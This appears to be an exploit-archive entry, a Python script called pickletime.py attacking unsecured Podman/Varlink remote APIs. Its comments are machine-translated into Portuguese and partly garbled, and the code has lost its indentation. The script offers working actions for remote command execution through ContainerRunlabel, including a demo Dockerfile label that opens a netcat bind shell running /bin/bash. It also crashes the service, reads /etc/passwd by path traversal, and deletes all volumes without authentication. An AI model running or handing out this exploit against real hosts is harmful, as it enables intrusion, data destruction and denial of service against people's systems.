Podman & Varlink 1.5.1 – Remote Code Execution
# Exploit Title: Podman & Varlink 1.5.1 – Execução remota de código
# Exploit Autor: Jeremy Brown
# Data: 2019-10-15
# Página inicial do fornecedor: https://podman.io/
# Link de software: dnf install podman ou https://github.com/containers/libpod/releases
# Versão: 1.5.1
# Testado em: Servidor Fedora 30
#! / usr / bin / python
# – * – codificação: UTF-8 – * –
#
# pickletime.py
#
# Podman + Exploração remota de configuração não segura do Varlink
#
# ——-
# Detalhes
# ——-
#
# Podman é uma plataforma / mecanismo de contêiner semelhante ao Docker suportado
# por RedHat e Fedora, com o Varlink sendo um protocolo para troca
# messages, que é útil para coisas como uma API remota.
#
# Agora, dependendo de como o Podman e o Varlink são implantados, eles podem ser
# suscetível a ataques locais e remotos. Existem alguns erros de API
# no próprio Podman, bem como uma maneira de executar comandos arbitrários se
# um pode bater Podman através da API remota. Executando o Podman com Varlink
# over tcp escutando no host local ou na interface de rede é o
# configuração mais vulnerável, mas outras maneiras, como acesso via UNIX local
# socket ou over SSH (chave / w nenhuma senha é comum) provavelmente não
# estar vulnerável, a menos que ACLs ou outras coisas estejam quebradas.
#
# ——————
# Testando os problemas
# ——————
#
# – Verifica; apenas conecta e emite GetInfo () para ver se o host está
# executando um serviço podman
#
# – exec; execução arbitrária do cmd via ContainerRunlabel () especificada
# pelo rótulo “run” na imagem hospedada especificada (auto-configuração)
#
# – dos; travar o servidor escolhendo uma / random / selection de
# os erros de análise disponíveis nas APIs (gostamos de nos divertir aqui)
#
# – cego; passagem de dir na API SearchImages () para forçar o servidor a
# ler um arquivo arbitrário (sem saída do lado do cliente)
#
# – volrm; loops para remover todos os volumes via comportamento VolumeRemove ()
#
# ———
# Exec demo
# ———
#
# $ ./pickletime.py verifique podman-host: 6000
# -> Serviço Podman confirmado no host
#
# Em seguida, crie um Dockerfile com um rótulo ousado, crie e hospede-o.
#
# [Dockerfile]
# FROM busybox
# LABEL run = “nc -l -p 10000 -e / bin / bash”
#
# $ ./pickletime.py exec podman-host: 6000 docker-registry: 5000 / image run
# Feito!
#
# $ nc podman-host 10000
# ps
# PID TTY TIME CMD
# 111640 pts / 1 00:00:00 bash
# 111786 pts / 1 00:00:00 podman
# 111797 pts / 1 00:00:00 nc
# 111799 pts / 1 00:00:00 bash
# 111801 pts / 1 00:00:00 ps
#
#
# Testado Podman 1.4.4 / 1.5.1 e Varlink 18 no Fedora Server 30 x64
#
# ———–
# Outras coisas
# ———–
#
# Nota: os administradores podem realmente definir suas configurações de conexão e implantação
# como quiserem, por isso é difícil dizer quantas pessoas estão ‘fazendo errado’
# ou realmente estão sendo executados com autenticação e proteção apropriadas. Shodan
# pessoas foram contatadas para adicionar suporte para descobrir os serviços do Varlink
# para obter mais dados dessa maneira também.
#
# Bugs corrigidos:
# – O DoS # 2 foi corrigido no 1.5.1
# – Documentos de segurança atualizados / sinalizadores de cli TBD
#
#> Por que picles? Por que não.
#
# Dependências para executar este código:
#
# sudo dnf install -y python3-podman-api
#
#
#
import os
import sys
import socket
import subprocess
import random
import json
import podman
import pickle
import time
serviceName = 'io.podman' # service name
def main():
if(len(sys.argv) < 2):
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
print("Eg: %s check tcp:podman-host:6000" % sys.argv[0])
print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
print("Actions: check, exec, dos, blind, volrm\n")
return
action = sys.argv[1]
address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing
ip = address.split(':')[1]
port = int(address.split(':')[2])
if(action == 'exec'):
if(len(sys.argv) < 4):
print("Error: need more args for exec")
return
image = sys.argv[3] # 'source' for pull
label = sys.argv[4]
isItTime()
try:
pman = podman.Client(uri=address)
except Exception:
print("Error: can't connect to host")
return
if(action == 'check'):
result = json.dumps(pman.system.info())
if('podman_version' in result):
print("-> Podman service confirmed on host")
return
print("-!- Podman service was not found on host")
elif(action == 'exec'):
#
# First pull the image from the repo, then run the label
#
try:
result = pman.images.pull(image) # PullImage()
except Exception as error:
pass # call fails sometimes if image already exists which is *ok*
#
# ContainerRunlabel() ... but, no library imp. we'll do it live!
#
method = serviceName + '.' + 'ContainerRunlabel'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"Runlabel\":{\"image\":\"'
message += image
message += '\",\"label\":\"'
message += label
message += '\"}}}'
message += '\0' # end each msg with a NULL byte
doSocketSend(ip, port, message)
elif(action == 'dos'):
#bug = 1 # !fun
bug = random.randint(1,2) # fun
if(bug == 1):
print("one")
source = 'test'
method = serviceName + '.' + 'LoadImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"source":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
# works on 1.4.4, fixed in 1.5.1
if(bug == 2):
print("two")
reference = 'b' * 238
source = '/dev/null' # this file must exist locally
method = serviceName + '.' + 'ImportImage'
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"reference\":\"'
message += reference
message += '\",\"source\":\"'
message += source
message += '\"}}'
message += '\0'
doSocketSend(ip, port, message)
#
# blind read of arbitrary files server-side
# ...interesting but not particularly useful by itself
#
# openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
# lseek(7, 0, SEEK_CUR) = 0
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
# close(7)
#
elif(action == 'blind'):
method = serviceName + '.' + 'SearchImages'
query = '../../../etc/passwd/' # magic '/' at the end
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"query\":\"'
message += query
message += '\"}}'
message += '\0'
#pman.images.search(query) # unclear why this doesn't work
doSocketSend(ip, port, message)
#
# Not really a bug, but an interesting feature to demo without auth
# note: call CreateVolume() a few times beforehand to test the removal
#
elif(action == 'volrm'):
method = serviceName + '.' + 'VolumeRemove'
n = 10 # this is probably enough to test, but change as necessary
message = '{\"method\":\"'
message += method
message += '\",\"parameters\":'
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
message += '\0'
for _ in range(n):
doSocketSend(ip, port, message)
time.sleep(0.5) # server processing time
print("Done!")
#
# podman/varlink libaries don't support calling these API calls, so native we must
#
def doSocketSend(ip, port, message):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(message.encode())
except Exception as error:
print(str(error))
return
finally:
sock.close()
#
# obligatory routine
#
def isItTime():
tm = time.localtime()
p = pickle.dumps('it\'s pickle time!')
if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
print(pickle.loads(p))
else:
pass # no dill
if(__name__ == '__main__'):
main()